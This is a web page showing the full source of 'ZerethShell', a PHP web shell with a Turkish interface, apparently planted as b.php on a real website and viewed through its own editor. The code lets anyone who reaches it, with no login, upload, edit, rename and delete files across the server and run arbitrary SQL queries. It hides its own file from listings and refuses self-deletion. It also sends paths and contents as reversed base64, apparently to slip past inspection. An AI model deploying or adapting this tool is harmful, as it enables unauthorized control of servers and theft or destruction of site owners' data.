ZerethShell
File Manager
SQL Manager
/
home
/
theorugaspol
/
geektuner.com
b.php
<?php session_start(); @ini_set('display_errors', 0); @ini_set('max_execution_time', 0); if (isset($_POST['db_connect'])) { $_SESSION['ly_db_host'] = $_POST['db_host'] ?? 'localhost'; $_SESSION['ly_db_user'] = $_POST['db_user'] ?? 'root'; $_SESSION['ly_db_pass'] = $_POST['db_pass'] ?? ''; $_SESSION['ly_db_name'] = $_POST['db_name'] ?? ''; header("Location: ?mode=db"); exit; } if (isset($_GET['db_logout'])) { unset($_SESSION['ly_db_host'], $_SESSION['ly_db_user'], $_SESSION['ly_db_pass'], $_SESSION['ly_db_name'], $_SESSION['ly_db_conn']); header("Location: ?mode=db"); exit; } function human_size(int $bytes): string { $units = ['B', 'KB', 'MB', 'GB']; $i = 0; while ($bytes >= 1024 && $i < 3) { $bytes /= 1024; $i++; } return round($bytes, 1) . ' ' . $units[$i]; } function is_self_script(string $path): bool { static $selfPath = null; if ($selfPath === null) $selfPath = str_replace('\\', '/', realpath(__FILE__)); $rp = realpath($path); return ($rp && str_replace('\\', '/', $rp) === $selfPath); } function safe_b64encode($string) { if (!$string) return ''; return str_replace(['+', '/', '='], ['-', '_', ''], base64_encode($string)); } function safe_b64decode($string) { if (!$string) return ''; $b64 = str_replace(['-', '_'], ['+', '/'], $string); $pad = strlen($b64) % 4; if ($pad) { $b64 .= str_repeat('=', 4 - $pad); } return base64_decode($b64); } $mode = $_GET['mode'] ?? 'fs'; if ($mode !== 'db') $mode = 'fs'; $msg = ''; $msgType = 'success'; $self = $_SERVER['PHP_SELF']; function get_safe_path_param($paramName) { if (!isset($_GET[$paramName])) return null; $val = $_GET[$paramName]; if (preg_match('/^[a-zA-Z0-9\-_]+$/', $val)) { $decoded = safe_b64decode($val); if ($decoded !== false && is_string($decoded)) { return $decoded; } } return $val; } if ($mode === 'fs') { $currentPath = get_safe_path_param('path') ?? realpath(__DIR__); $currentPath = str_replace('\\', '/', $currentPath); $currentPath = rtrim($currentPath, '/'); if (empty($currentPath)) $currentPath = '/'; if (!file_exists($currentPath) || !is_dir($currentPath)) { $currentPath = str_replace('\\', '/', realpath(__DIR__)); } if (isset($_POST['upload_file_b64']) && isset($_POST['upload_file_name'])) { $name = basename(trim($_POST['upload_file_name'])); $dest = $currentPath . '/' . $name; $fileData = @base64_decode($_POST['upload_file_b64']); if ($fileData !== false) { if (file_put_contents($dest, $fileData) !== false) { $msg = "\"$name\" dosyası yüklendi."; } else { $msg = 'Dosya yazılamadı (İzin hatası olabilir).'; $msgType = 'error'; } } else { $msg = 'Dosya verisi işlenemedi.'; $msgType = 'error'; } } if (isset($_POST['new_file_name'])) { $name = basename(trim($_POST['new_file_name'])); if ($name) { $fp = $currentPath . '/' . $name; if(!file_exists($fp)){ file_put_contents($fp, $_POST['new_file_content'] ?? ''); $msg = "\"$name\" oluşturuldu."; } else { $msg = "Bu isimde bir dosya zaten var!"; $msgType = 'error'; } } } if (isset($_POST['new_folder_name'])) { $name = basename(trim($_POST['new_folder_name'])); if ($name) { $dest = $currentPath . '/' . $name; if(!file_exists($dest)) { @mkdir($dest, 0755, true); $msg = "\"$name\" klasörü oluşturuldu."; } else { $msg = "Bu isimde bir klasör zaten var!"; $msgType = 'error'; } } } if (isset($_POST['delete_item'])) { $fp = str_replace('\\', '/', $_POST['delete_item']); if (is_self_script($fp)) { $msg = 'ZerethShell kendi kendini silemez!'; $msgType = 'error'; } elseif (is_file($fp)) { @unlink($fp); $msg = basename($fp) . ' silindi.'; } elseif (is_dir($fp)) { $it = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($fp, FilesystemIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST); foreach ($it as $f) { $f->isDir() ? @rmdir($f->getPathname()) : @unlink($f->getPathname()); } @rmdir($fp); $msg = basename($fp) . ' klasörü silindi.'; } } if (isset($_POST['bulk_delete']) && isset($_POST['items']) && is_array($_POST['items'])) { $count = 0; foreach ($_POST['items'] as $itemPath) { $fp = str_replace('\\', '/', $itemPath); if (is_self_script($fp)) continue; if (is_file($fp)) { @unlink($fp); $count++; } elseif (is_dir($fp)) { $it = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($fp, FilesystemIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST); foreach ($it as $f) { $f->isDir() ? @rmdir($f->getPathname()) : @unlink($f->getPathname()); } @rmdir($fp); $count++; } } if ($count > 0) $msg = "Seçilen $count öğe başarıyla silindi."; else { $msg = "Hiçbir dosya silinemedi."; $msgType = 'error'; } } if (isset($_POST['rename_from']) && isset($_POST['rename_to'])) { $from = str_replace('\\', '/', $_POST['rename_from']); $toName = basename(trim($_POST['rename_to'])); if (is_self_script($from)) { $msg = 'ZerethShell kendi ismini buradan değiştiremez!'; $msgType = 'error'; } elseif (file_exists($from) && !empty($toName)) { $to = dirname($from) . '/' . $toName; if(!file_exists($to)){ rename($from, $to); $msg = basename($from) . ' -> ' . $toName . ' oldu.'; } else { $msg = 'Yeni isimde bir dosya zaten mevcut.'; $msgType = 'error'; } } } if (isset($_POST['save_path_b64']) || isset($_POST['save_path'])) { if (isset($_POST['save_path_b64'])) { $fp = base64_decode(strrev($_POST['save_path_b64'])); } else { $fp = $_POST['save_path']; } $fp = str_replace('\\', '/', $fp); if (is_self_script($fp)) { $msg = 'Kendi kaynak kodunu değiştiremezsin!'; $msgType = 'error'; } elseif (is_file($fp)) { if (isset($_POST['b64_content'])) { $content = base64_decode(strrev($_POST['b64_content'])); } else { $content = $_POST['save_content'] ?? ''; } file_put_contents($fp, $content); $msg = basename($fp) . ' başarıyla kaydedildi.'; } } $editFile = null; $editContent = ''; $editParam = get_safe_path_param('edit'); if ($editParam) { $editPath = str_replace('\\', '/', $editParam); if (is_file($editPath)) { $editFile = $editPath; $editContent = file_get_contents($editPath); } } $items = []; if (is_dir($currentPath)) { $scan = @scandir($currentPath); if ($scan) { foreach ($scan as $item) { if ($item === '.' || $item === '..') continue; $itemPath = $currentPath === '/' ? '/' . $item : $currentPath . '/' . $item; if (is_self_script($itemPath)) continue; $items[] = [ 'name' => $item, 'path' => $itemPath, 'type' => is_dir($itemPath) ? 'dir' : 'file', 'size' => is_file($itemPath) ? filesize($itemPath) : 0, 'modified' => @filemtime($itemPath), 'ext' => strtolower(pathinfo($item, PATHINFO_EXTENSION)), ]; } } usort($items, function($a, $b) { if ($a['type'] !== $b['type']) return $a['type'] === 'dir' ? -1 : 1; return strcasecmp($a['name'], $b['name']); }); } $parentDir = dirname($currentPath); $canGoUp = ($parentDir !== $currentPath && $currentPath !== '/'); $parts = array_filter(explode('/', $currentPath), 'strlen'); $breadcrumbs = []; $acc = ''; if (DIRECTORY_SEPARATOR === '\\' && preg_match('/^[A-Z]:/i', $currentPath)) { $drive = array_shift($parts); $acc = $drive; $breadcrumbs[] = ['name' => $drive, 'path' => $drive . '/']; } else { $breadcrumbs[] = ['name' => '<i class="fas fa-home"></i>', 'path' => '/']; } foreach ($parts as $p) { $acc = rtrim($acc, '/') . '/' . $p; $breadcrumbs[] = ['name' => htmlspecialchars($p, ENT_QUOTES, 'UTF-8'), 'path' => $acc]; } } $dbConnected = false; $pdo = null; $dbTables = []; $dbResult = null; $dbQueryError = null; $dbCurrentTable = $_GET['table'] ?? ''; $dbCustomQuery = $_POST['custom_query'] ?? ''; if ($mode === 'db' && isset($_SESSION['ly_db_host'])) { try { $dsn = "mysql:host=" . $_SESSION['ly_db_host'] . ";charset=utf8mb4"; if (!empty($_SESSION['ly_db_name'])) { $dsn .= ";dbname=" . $_SESSION['ly_db_name']; } $pdo = new PDO($dsn, $_SESSION['ly_db_user'], $_SESSION['ly_db_pass'], [ PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION, PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC ]); $dbConnected = true; if (empty($_SESSION['ly_db_name'])) { $stmt = $pdo->query("SHOW DATABASES"); while ($row = $stmt->fetch(PDO::FETCH_NUM)) { $dbTables[] = $row[0]; } } else { $stmt = $pdo->query("SHOW TABLES"); while ($row = $stmt->fetch(PDO::FETCH_NUM)) { $dbTables[] = $row[0]; } } if (!empty($dbCustomQuery)) { $stmt = $pdo->query($dbCustomQuery); if ($stmt && $stmt->columnCount() > 0) { $dbResult = $stmt->fetchAll(); } else { $msg = "Sorgu başarıyla çalıştırıldı (Etkilenen Satır: " . $stmt->rowCount() . ")"; } } elseif (!empty($dbCurrentTable) && !empty($_SESSION['ly_db_name'])) { $tbl = preg_replace('/[^a-zA-Z0-9_]/', '', $dbCurrentTable); $dbCustomQuery = "SELECT * FROM `$tbl` LIMIT 100"; $stmt = $pdo->query($dbCustomQuery); $dbResult = $stmt->fetchAll(); } } catch (PDOException $e) { $dbConnected = false; $dbQueryError = $e->getMessage(); if (!$pdo) { unset($_SESSION['ly_db_host']); } } } ?> <!DOCTYPE html> <html lang="tr"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width,initial-scale=1"> <title>ZerethShell — <?= $mode==='db' ? 'SQL Manager' : 'File Manager' ?></title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.css"> <style> :root { --bg-main: #0a0202; --bg-card: #140505; --bg-hover: #260a0a; --border: #3d1414; --text-main: #f3f4f6; --text-muted: #9ca3af; --accent: #ef4444; --accent-hover: #dc2626; --danger: #ef4444; --success: #10b981; --folder: #ef4444; } *{margin:0;padding:0;box-sizing:border-box} body{background:var(--bg-main);color:var(--text-main);font-family:'Segoe UI',Inter,sans-serif;font-size:14px;line-height:1.5;min-height:100vh} a{color:var(--text-main);text-decoration:none} a:hover{color:var(--accent)} .topbar{background:var(--bg-card);border-bottom:1px solid var(--border);padding:15px 25px;display:flex;align-items:center;justify-content:space-between;flex-wrap:wrap;gap:15px;position:sticky;top:0;z-index:50;} .topbar h1{font-size:1.2rem;font-weight:700;display:flex;align-items:center;gap:10px;text-transform:uppercase;letter-spacing:1px} .topbar .right-panel{display:flex;gap:15px;align-items:center;font-size:0.85rem;} .nav-tabs { display:flex; gap:10px; } .nav-tab { padding:8px 16px; border:1px solid var(--border); border-radius:6px; background:var(--bg-main); color:var(--text-muted); font-weight:600; transition:0.2s;} .nav-tab.active { background:var(--accent); color:#fff; border-color:var(--accent); } .nav-tab:hover:not(.active) { background:var(--bg-hover); color:var(--text-main); } .container{max-width:1400px;margin:20px auto;padding:0 25px} .breadcrumb{display:flex;gap:8px;font-size:.9rem;margin-bottom:20px;flex-wrap:wrap;background:var(--bg-card);padding:10px 15px;border-radius:8px;border:1px solid var(--border)} .breadcrumb a{color:var(--text-muted)} .breadcrumb a:hover{color:var(--accent)} .breadcrumb span{color:#4a2b2b} .breadcrumb a:last-child{color:var(--accent);font-weight:600} .alert{padding:12px 18px;border-radius:6px;margin-bottom:20px;font-size:.9rem;display:flex;align-items:center;gap:10px;} .alert.success{background:rgba(16,185,129,0.1);color:var(--success);border:1px solid rgba(16,185,129,0.2)} .alert.error{background:rgba(239,68,68,0.1);color:var(--danger);border:1px solid rgba(239,68,68,0.2)} .toolbar{display:flex;gap:10px;margin-bottom:20px;flex-wrap:wrap;align-items:center;} .btn{padding:8px 16px;border:1px solid var(--border);background:var(--bg-card);color:var(--text-main);border-radius:6px;cursor:pointer;font-size:.85rem;font-weight:500;display:inline-flex;align-items:center;gap:8px;transition:0.2s} .btn:hover{background:var(--bg-hover)} .btn.primary{background:var(--accent);border-color:var(--accent);color:#fff} .btn.primary:hover{background:var(--accent-hover)} .btn.danger{color:var(--danger);border-color:rgba(239,68,68,0.3)} .btn.danger:hover{background:rgba(239,68,68,0.1)} .upload-form{display:flex;gap:10px;} .upload-form input[type=file]{padding:6px 10px;background:var(--bg-hover);border:1px dashed var(--border);border-radius:6px;color:var(--text-main);font-size:.8rem;cursor:pointer} .card{background:var(--bg-card);border:1px solid var(--border);border-radius:10px;overflow:x-auto} table{width:100%;border-collapse:collapse;text-align:left} th{padding:12px 16px;font-size:.75rem;text-transform:uppercase;letter-spacing:1px;color:var(--text-muted);border-bottom:1px solid var(--border);font-weight:600; white-space:nowrap;} td{padding:12px 16px;border-bottom:1px solid #1c0a0a;font-size:.85rem} tr:hover td{background:var(--bg-hover)} tr:last-child td{border-bottom:none;} .cb-col{width:40px;text-align:center;} input[type=checkbox] { accent-color: var(--accent); width:15px; height:15px; cursor:pointer; } .icon-col{width:40px;text-align:center;font-size:1.1rem;} .dir .icon-col{color:var(--folder)} .file .icon-col{color:var(--text-muted)} .name-col a{color:var(--text-main);font-weight:500} .name-col a:hover{color:var(--accent)} .size-col{color:var(--text-muted);font-family:monospace} .date-col{color:var(--text-muted)} .actions-col{display:flex;gap:6px;justify-content:flex-end} .actions-col .btn{padding:5px 10px;font-size:.8rem} .up-dir td{background:rgba(239,68,68,0.02)} .up-dir:hover td{background:rgba(239,68,68,0.06)} .editor{background:var(--bg-card);border:1px solid var(--border);border-radius:10px;padding:20px} .editor textarea, .sql-textarea{width:100%;min-height:500px;font-family:'Fira Code','Consolas',monospace;font-size:.85rem;background:#050101;border:1px solid var(--border);border-radius:6px;padding:15px;color:#fca5a5;line-height:1.6;resize:vertical;outline:none} .editor textarea:focus, .sql-textarea:focus{border-color:var(--accent)} .editor-bar{display:flex;gap:10px;margin-top:15px} .modal-overlay{display:none;position:fixed;inset:0;background:rgba(0,0,0,.8);z-index:100;align-items:center;justify-content:center;backdrop-filter:blur(2px)} .modal-overlay.open{display:flex} .modal{background:var(--bg-card);border:1px solid var(--border);border-radius:12px;padding:25px;width:100%;max-width:450px;box-shadow:0 10px 40px rgba(0,0,0,0.8)} .form-group{margin-bottom:15px} .form-group label{display:block;font-size:.85rem;color:var(--text-muted);margin-bottom:8px} .form-group input, .form-group textarea{width:100%;padding:10px 12px;background:var(--bg-main);border:1px solid var(--border);border-radius:6px;color:var(--text-main);outline:none;font-family:inherit} .form-group input:focus{border-color:var(--accent)} .modal-bar{display:flex;gap:10px;margin-top:20px;justify-content:flex-end} .db-layout { display:flex; gap:20px; align-items:flex-start; } .db-sidebar { width:250px; background:var(--bg-card); border:1px solid var(--border); border-radius:10px; padding:15px; flex-shrink:0;} .db-sidebar h3 { font-size:.9rem; margin-bottom:15px; color:var(--text-muted); text-transform:uppercase; letter-spacing:1px; } .db-tables { display:flex; flex-direction:column; gap:5px; max-height:70vh; overflow-y:auto; } .db-tables a { display:block; padding:8px 10px; border-radius:5px; color:var(--text-main); font-size:.85rem; transition:0.2s; } .db-tables a:hover { background:var(--bg-hover); } .db-tables a.active { background:rgba(239,68,68,0.1); color:var(--accent); font-weight:600; border-left:3px solid var(--accent); border-radius:0 5px 5px 0;} .db-main { flex:1; display:flex; flex-direction:column; gap:20px; min-width:0; } .sql-textarea { min-height: 150px; } .sql-result { overflow-x:auto; } .db-login-box { max-width:400px; margin:50px auto; background:var(--bg-card); border:1px solid var(--border); border-radius:10px; padding:30px; } .db-login-box h2 { text-align:center; color:var(--accent); margin-bottom:20px; } @media (max-width: 768px) { .topbar { padding:12px 15px; gap:10px; } .topbar h1 { font-size:1rem; } .nav-tab { padding:6px 12px; font-size:.8rem; } .container { padding:0 12px; margin:12px auto; } .toolbar { gap:8px; } .toolbar .btn { padding:7px 12px; font-size:.8rem; } .upload-form { flex-wrap:wrap; width:100%; } .upload-form input[type=file] { width:100%; } td.size-col, th.size-col, td.date-col, th.date-col { display:none; } th, td { padding:10px 8px; } .cb-col { width:32px; } .icon-col { width:32px; font-size:1rem; } .actions-col { gap:4px; } .actions-col .btn { padding:5px 8px; font-size:.75rem; } .card { border-radius:8px; overflow-x:auto; } .editor { padding:12px; } .editor textarea { min-height:350px; font-size:.8rem; } .editor-bar { flex-wrap:wrap; } .modal { max-width:calc(100vw - 30px); padding:18px; margin:0 15px; } .db-layout { flex-direction:column; gap:15px; } .db-sidebar { width:100%; } .db-tables { max-height:40vh; flex-direction:row; flex-wrap:wrap; gap:6px; } .db-tables a { padding:6px 10px; font-size:.8rem; } .db-tables a.active { border-left:none; border-bottom:3px solid var(--accent); border-radius:5px 5px 0 0; } .sql-textarea { min-height:120px; font-size:.8rem; } .db-login-box { margin:20px auto; padding:20px 15px; } .breadcrumb { font-size:.8rem; padding:8px 12px; gap:6px; } } @media (max-width: 480px) { .topbar h1 { font-size:.9rem; letter-spacing:0; } .nav-tab { padding:5px 10px; font-size:.75rem; } th, td { padding:8px 6px; font-size:.8rem; } .btn { padding:6px 10px; font-size:.78rem; } .modal { padding:14px; } .editor textarea { min-height:280px; } .db-sidebar { padding:10px; } } </style> </head> <body> <div class="topbar"> <h1><i class="fas fa-terminal" style="color:var(--accent)"></i> ZerethShell</h1> <div class="nav-tabs"> <a href="?mode=fs" class="nav-tab <?= $mode === 'fs' ? 'active' : '' ?>"><i class="fas fa-folder-tree"></i> File Manager</a> <a href="?mode=db" class="nav-tab <?= $mode === 'db' ? 'active' : '' ?>"><i class="fas fa-database"></i> SQL Manager</a> </div> </div> <div class="container"> <?php if ($mode === 'fs'): ?> <div class="breadcrumb"> <?php foreach ($breadcrumbs as $i => $bc): ?> <a href="<?= $self ?>?mode=fs&path=<?= safe_b64encode($bc['path']) ?>"><?= $bc['name'] ?></a> <?php if ($i < count($breadcrumbs) - 1): ?><span>/</span><?php endif; ?> <?php endforeach; ?> </div> <?php if ($msg): ?> <div class="alert <?= $msgType ?>"> <i class="fas <?= $msgType === 'success' ? 'fa-check-circle' : 'fa-triangle-exclamation' ?>"></i> <?= htmlspecialchars($msg) ?> </div> <?php endif; ?> <?php if ($editFile): ?> <div class="editor"> <h3 style="margin-bottom:15px;font-size:1rem;"><i class="fas fa-file-signature" style="color:var(--accent)"></i> <?= htmlspecialchars(basename($editFile)) ?></h3> <form id="editorForm" method="POST" action="<?= $self ?>?mode=fs&path=<?= safe_b64encode($currentPath) ?>"> <input type="hidden" id="raw_save_path" value="<?= htmlspecialchars($editFile) ?>"> <input type="hidden" name="save_path_b64" id="save_path_b64" value=""> <input type="hidden" name="b64_content" id="b64_content" value=""> <textarea id="editor_textarea" spellcheck="false"><?= htmlspecialchars($editContent) ?></textarea> <div class="editor-bar"> <button type="button" class="btn primary" onclick="doEditorSave()"><i class="fas fa-save"></i> Kaydet</button> <a href="<?= $self ?>?mode=fs&path=<?= safe_b64encode($currentPath) ?>" class="btn"><i class="fas fa-arrow-left"></i> Vazgeç</a> </div> </form> <script> function doEditorSave() { try { var str = document.getElementById('editor_textarea').value; var strB64 = btoa(unescape(encodeURIComponent(str))); document.getElementById('b64_content').value = strB64.split('').reverse().join(''); var pth = document.getElementById('raw_save_path').value; var pthB64 = btoa(unescape(encodeURIComponent(pth))); document.getElementById('save_path_b64').value = pthB64.split('').reverse().join(''); } catch(e) { alert('Kodlama hatası oluştu!'); return; } document.getElementById('editorForm').submit(); } </script> </div> <?php else: ?> <div class="toolbar"> <button class="btn primary" onclick="document.getElementById('newFileModal').classList.add('open')"><i class="fas fa-file-circle-plus"></i></button> <button class="btn primary" onclick="document.getElementById('newFolderModal').classList.add('open')"><i class="fas fa-folder-plus"></i></button> <button type="button" class="btn danger" onclick="if(confirm('Seçili olan tüm dosyaları kalıcı olarak silmek istiyor musunuz?')) document.getElementById('bulkActionForm').submit();" style="margin-left:5px"> <i class="fas fa-trash-can"></i> Seçilileri Sil </button> <div style="flex:1"></div> <form id="uploadForm" class="upload-form" method="POST" action="<?= $self ?>?mode=fs&path=<?= safe_b64encode($currentPath) ?>"> <input type="file" id="upload_file_input" required> <input type="hidden" name="upload_file_name" id="upload_file_name" value=""> <input type="hidden" name="upload_file_b64" id="upload_file_b64" value=""> <button type="button" class="btn" onclick="doUpload()"><i class="fas fa-cloud-arrow-up"></i> Yükle</button> </form> <script> function doUpload() { var fileInput = document.getElementById('upload_file_input'); if (!fileInput.files.length) { alert("Lütfen bir dosya seçin."); return; } var file = fileInput.files[0]; document.getElementById('upload_file_name').value = file.name; var reader = new FileReader(); reader.onload = function(e) { var base64data = e.target.result.split(',')[1]; document.getElementById('upload_file_b64').value = base64data; document.getElementById('uploadForm').submit(); }; reader.onerror = function() { alert("Dosya okuma hatası!"); }; reader.readAsDataURL(file); } </script> </div> <div class="card"> <form id="bulkActionForm" method="POST" action="<?= $self ?>?mode=fs&path=<?= safe_b64encode($currentPath) ?>"> <input type="hidden" name="bulk_delete" value="1"> <table> <thead> <tr> <th class="cb-col"><input type="checkbox" onclick="document.querySelectorAll('.item-cb').forEach(cb => cb.checked = this.checked)"></th> <th class="icon-col"></th> <th>Dosya / Klasör Adı</th> <th width="120">Boyut</th> <th width="160">Tarih</th> <th width="120" style="text-align:right">İşlemler</th> </tr> </thead> <tbody> <?php if ($canGoUp): ?> <tr class="dir up-dir"> <td class="cb-col"></td> <td class="icon-col"><i class="fas fa-level-up-alt" style="color:var(--accent)"></i></td> <td colspan="4"><a href="<?= $self ?>?mode=fs&path=<?= safe_b64encode($parentDir) ?>" style="font-weight:700; font-size:1.1rem; display:block;">..</a></td> </tr> <?php endif; ?> <?php foreach ($items as $item): ?> <?php $isDir = $item['type'] === 'dir'; $editable = !$isDir; $icon = '<i class="fas fa-file"></i>'; if ($isDir) $icon = '<i class="fas fa-folder"></i>'; elseif(in_array($item['ext'], ['zip','rar','tar','gz','7z'])) $icon = '<i class="fas fa-file-zipper"></i>'; elseif(in_array($item['ext'], ['mp4','avi','mkv'])) $icon = '<i class="fas fa-file-video"></i>'; elseif(in_array($item['ext'], ['php','phtml','html','js','css','json','py','sh'])) $icon = '<i class="fas fa-file-code"></i>'; elseif(in_array($item['ext'], ['jpg','jpeg','png','gif','svg','webp'])) $icon = '<i class="fas fa-file-image"></i>'; ?> <tr class="<?= $isDir ? 'dir' : 'file' ?>"> <td class="cb-col"><input type="checkbox" name="items[]" value="<?= htmlspecialchars($item['path'], ENT_QUOTES) ?>" class="item-cb"></td> <td class="icon-col"><?= $icon ?></td> <td class="name-col"> <?php if ($isDir): ?> <a href="<?= $self ?>?mode=fs&path=<?= safe_b64encode($item['path']) ?>"><?= htmlspecialchars($item['name']) ?></a> <?php else: ?> <a href="<?= $self ?>?mode=fs&path=<?= safe_b64encode($currentPath) ?>&edit=<?= safe_b64encode($item['path']) ?>"><?= htmlspecialchars($item['name']) ?></a> <?php endif; ?> </td> <td class="size-col"><?= $isDir ? '—' : human_size($item['size']) ?></td> <td class="date-col"><?= $item['modified'] ? date('d.m.Y H:i', $item['modified']) : '—' ?></td> <td class="actions-col"> <a href="<?= $self ?>?mode=fs&path=<?= safe_b64encode($currentPath) ?>&edit=<?= safe_b64encode($item['path']) ?>" class="btn" title="Düzenle"><i class="fas fa-pen"></i></a> <button type="button" class="btn" onclick="promptRename('<?= htmlspecialchars($item['path'], ENT_QUOTES) ?>','<?= htmlspecialchars($item['name'], ENT_QUOTES) ?>')"><i class="fas fa-i-cursor"></i></button> <button type="submit" form="sdf_<?= md5($item['path']) ?>" class="btn danger" onclick="return confirm('Kalıcı silinecek: <?= htmlspecialchars($item['name'], ENT_QUOTES) ?>')"><i class="fas fa-trash"></i></button> </td> </tr> <?php endforeach; ?> <?php if (empty($items) && !$currentPath): ?> <tr><td colspan="6" style="text-align:center;padding:50px;color:var(--text-muted)"><i class="fas fa-folder-open" style="font-size:3rem;margin-bottom:15px;opacity:0.2"></i><p>Dizin boş.</p></td></tr> <?php endif; ?> </tbody> </table> </form> <?php foreach ($items as $item): ?> <form id="sdf_<?= md5($item['path']) ?>" method="POST" action="<?= $self ?>?mode=fs&path=<?= safe_b64encode($currentPath) ?>" style="display:none;"><input type="hidden" name="delete_item" value="<?= htmlspecialchars($item['path'], ENT_QUOTES) ?>"></form> <?php endforeach; ?> </div> <div id="newFileModal" class="modal-overlay" onclick="if(event.target===this)this.classList.remove('open')"> <div class="modal"> <h3><i class="fas fa-file-circle-plus" style="color:var(--accent)"></i> Yeni Dosya</h3> <form method="POST" action="<?= $self ?>?mode=fs&path=<?= safe_b64encode($currentPath) ?>"> <div class="form-group"><label>Dosya Adı</label><input type="text" name="new_file_name" placeholder="test.php" required></div> <div class="form-group"><label>İçerik</label><textarea name="new_file_content" rows="5"></textarea></div> <div class="modal-bar"><button type="button" class="btn" onclick="this.closest('.modal-overlay').classList.remove('open')">Vazgeç</button><button type="submit" class="btn primary">Oluştur</button></div> </form> </div> </div> <div id="newFolderModal" class="modal-overlay" onclick="if(event.target===this)this.classList.remove('open')"> <div class="modal"> <h3><i class="fas fa-folder-plus" style="color:var(--accent)"></i> Yeni Klasör</h3> <form method="POST" action="<?= $self ?>?mode=fs&path=<?= safe_b64encode($currentPath) ?>"> <div class="form-group"><label>Klasör Adı</label><input type="text" name="new_folder_name" placeholder="assets" required></div> <div class="modal-bar"><button type="button" class="btn" onclick="this.closest('.modal-overlay').classList.remove('open')">Vazgeç</button><button type="submit" class="btn primary">Oluştur</button></div> </form> </div> </div> <div id="renameModal" class="modal-overlay" onclick="if(event.target===this)this.classList.remove('open')"> <div class="modal"> <h3><i class="fas fa-i-cursor" style="color:var(--accent)"></i> Yeniden Adlandır</h3> <form method="POST" action="<?= $self ?>?mode=fs&path=<?= safe_b64encode($currentPath) ?>"> <input type="hidden" name="rename_from" id="renameFrom"> <div class="form-group"><label>Yeni Ad</label><input type="text" name="rename_to" id="renameTo" required></div> <div class="modal-bar"><button type="button" class="btn" onclick="this.closest('.modal-overlay').classList.remove('open')">Vazgeç</button><button type="submit" class="btn primary">Kaydet</button></div> </form> </div> </div> <script> function promptRename(path, name) { document.getElementById('renameFrom').value = path; document.getElementById('renameTo').value = name; document.getElementById('renameModal').classList.add('open'); setTimeout(function(){ var input = document.getElementById('renameTo'); input.focus(); var ei = name.lastIndexOf('.'); if(ei > 0) { input.setSelectionRange(0, ei); } else { input.select(); } }, 100); } </script> <?php endif; ?> <?php endif; ?> <?php if ($mode === 'db'): ?> <?php if (!$dbConnected): ?> <div class="db-login-box"> <h2><i class="fas fa-database"></i> SQL Login</h2> <?php if ($dbQueryError): ?> <div class="alert error" style="margin-bottom:20px; text-align:center; display:block;"><?= htmlspecialchars($dbQueryError) ?></div> <?php endif; ?> <form method="POST" action="?mode=db"> <input type="hidden" name="db_connect" value="1"> <div class="form-group"><label>Host</label><input type="text" name="db_host" value="localhost" required></div> <div class="form-group"><label>Kullanıcı Adı</label><input type="text" name="db_user" value="root" required></div> <div class="form-group"><label>Şifre</label><input type="password" name="db_pass" placeholder="..."></div> <div class="form-group"><label>Veritabanı Adı (Opsiyonel)</label><input type="text" name="db_name" placeholder="gokboru_db"></div> <button type="submit" class="btn primary" style="width:100%; padding:10px; margin-top:10px;"><i class="fas fa-plug"></i> Bağlan</button> </form> </div> <?php else: ?> <div class="db-layout"> <div class="db-sidebar"> <div style="display:flex; justify-content:space-between; align-items:center; margin-bottom:15px;"> <h3 style="margin:0;"><i class="fas fa-list"></i> <?= empty($_SESSION['ly_db_name']) ? 'Databases' : 'Tables' ?></h3> <a href="?mode=db&db_logout=1" class="btn danger" style="padding:4px 8px; font-size:0.75rem;" title="Bağlantıyı Kes"><i class="fas fa-power-off"></i></a> </div> <div class="db-tables"> <?php foreach ($dbTables as $t): ?> <?php if (empty($_SESSION['ly_db_name'])): ?> <a href="javascript:alert('Bu bir sunucu veritabanı. Bağlanmak için çıkış yapıp bu adı giriniz.');"><i class="fas fa-database" style="color:var(--text-muted); margin-right:5px;"></i> <?= htmlspecialchars($t) ?></a> <?php else: ?> <a href="?mode=db&table=<?= urlencode($t) ?>" class="<?= $t === $dbCurrentTable ? 'active' : '' ?>"> <i class="fas fa-table" style="color:var(--text-muted); margin-right:5px;"></i> <?= htmlspecialchars($t) ?> </a> <?php endif; ?> <?php endforeach; ?> </div> </div> <div class="db-main"> <?php if ($msg): ?> <div class="alert success"><i class="fas fa-check-circle"></i> <?= htmlspecialchars($msg) ?></div> <?php endif; ?> <?php if ($dbQueryError): ?> <div class="alert error"><i class="fas fa-triangle-exclamation"></i> <?= htmlspecialchars($dbQueryError) ?></div> <?php endif; ?> <div class="card" style="padding:15px;"> <form method="POST" action="?mode=db<?= !empty($dbCurrentTable) ? '&table='.urlencode($dbCurrentTable) : '' ?>"> <div style="display:flex; justify-content:space-between; align-items:center; margin-bottom:10px;"> <span style="font-weight:600; color:var(--text-muted);"><i class="fas fa-code"></i> SQL Query</span> <button type="submit" class="btn primary"><i class="fas fa-play"></i> Çalıştır</button> </div> <textarea name="custom_query" class="sql-textarea" placeholder="SELECT * FROM table_name WHERE id = 1..."><?= htmlspecialchars($dbCustomQuery) ?></textarea> </form> </div> <?php if ($dbResult !== null): ?> <div class="card sql-result"> <?php if (count($dbResult) > 0): ?> <div style="padding:15px; border-bottom:1px solid var(--border); font-weight:600; color:var(--text-muted);"> Dönen Satır: <?= count($dbResult) ?> </div> <table> <thead> <tr> <?php foreach (array_keys($dbResult[0]) as $col): ?> <th><?= htmlspecialchars($col) ?></th> <?php endforeach; ?> </tr> </thead> <tbody> <?php foreach ($dbResult as $row): ?> <tr> <?php foreach ($row as $val): ?> <td> <?php if ($val === null) echo '<em style="color:#6b7280">NULL</em>'; else { $out = htmlspecialchars((string)$val); if (strlen($out) > 100) $out = substr($out, 0, 100) . '...'; echo $out; } ?> </td> <?php endforeach; ?> </tr> <?php endforeach; ?> </tbody> </table> <?php else: ?> <div style="padding:30px; text-align:center; color:var(--text-muted);">Tablo boş veya sonuç dönmedi.</div> <?php endif; ?> </div> <?php endif; ?> </div> </div> <?php endif; ?> <?php endif; ?> </div> </body> </html>
Kaydet
Vazgeç